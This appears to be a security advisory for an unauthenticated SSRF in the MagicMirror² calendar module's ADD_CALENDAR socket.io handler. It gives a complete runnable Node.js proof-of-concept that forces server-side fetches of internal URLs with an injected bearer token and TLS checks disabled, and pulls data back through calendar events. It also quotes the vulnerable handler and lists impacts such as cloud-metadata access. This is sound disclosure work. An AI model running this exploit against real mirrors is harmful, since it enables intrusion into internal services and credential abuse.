GHSA-w6x9-28jw-hq7j

# Vulnerability — SSRF via `ADD_CALENDAR` (MagicMirror² calendar)

> Analysis of the PoC `exploit-ssrf-calendar.js`. > Target: `calendar/node_helper.js` of MagicMirror², socket.io namespace `/calendar`.

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## Identification

| Field | Value | |-------|-------| | **PoC file** | `exploit-ssrf-calendar.js` | | **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` | | **Precondition** | reach the mirror's HTTP port (no authentication required) |

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## Description

The `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL that is **fully attacker-controlled**, with no SSRF protection whatsoever — unlike the project's hardened `/cors` endpoint.

Worse, the attacker also controls: - the **authentication headers** the server attaches to the request (`auth: { method: "bearer", pass: "..." }`); - the `selfSignedCert` flag, which **disables TLS verification** of the server-side request.

When the target's response is **valid iCal**, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` — turning the SSRF into **full data exfiltration** (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).

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## Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from **any origin** and with **no authentication**:

```js const io = new Server(server, { cors: { origin: /.*$/, credentials: true } }); ```

The `/calendar` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification.

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## Exploit (`exploit-ssrf-calendar.js`)

```js const { io } = require("socket.io-client");

const TARGET = process.env.MM || "http://TARGET:8888"; const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";

const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => { if (event === "CALENDAR_EVENTS") { console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):"); for (const ev of payload.events || []) { console.log(" SUMMARY:", ev.title); if (ev.title && ev.title.includes("FLAG{")) { console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:"); console.log(" " + ev.title); process.exit(0); } } } else if (event === "CALENDAR_ERROR") { console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload)); } });

socket.on("connect", () => { console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`); console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`); socket.emit("ADD_CALENDAR", { url: INTERNAL_URL, fetchInterval: 60000, excludedEvents: [], maximumEntries: 10, maximumNumberOfDays: 3650, auth: { method: "bearer", pass: "internal-admin-token" }, broadcastPastEvents: true, selfSignedCert: true, id: "pwn" }); });

socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));

setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000); ```

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## Vulnerable target code (pattern)

```js socketNotificationReceived(notification, payload) { if (notification === "ADD_CALENDAR") { const fetcher = new CalendarFetcher( payload.url, payload.fetchInterval, payload.excludedEvents, payload.maximumEntries, payload.maximumNumberOfDays, payload.auth, payload.broadcastPastEvents, payload.selfSignedCert ); fetcher.fetchCalendar(); } } ```

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## Impact

- **Reading internal services** unreachable from the attacker's network (cloud metadata `169.254.169.254`, admin panels on `127.0.0.1`, services on the private network). - **Body exfiltration** when the response is iCal (the PoC searches for `FLAG{...}` in event titles). - **Confused deputy / credential injection**: the server attaches an attacker-controlled `Authorization: Bearer ...` header, allowing it to forge/replay credentials against the internal target. - **TLS bypass** via `selfSignedCert: true`. - Internal port scanning through error/timing differences.

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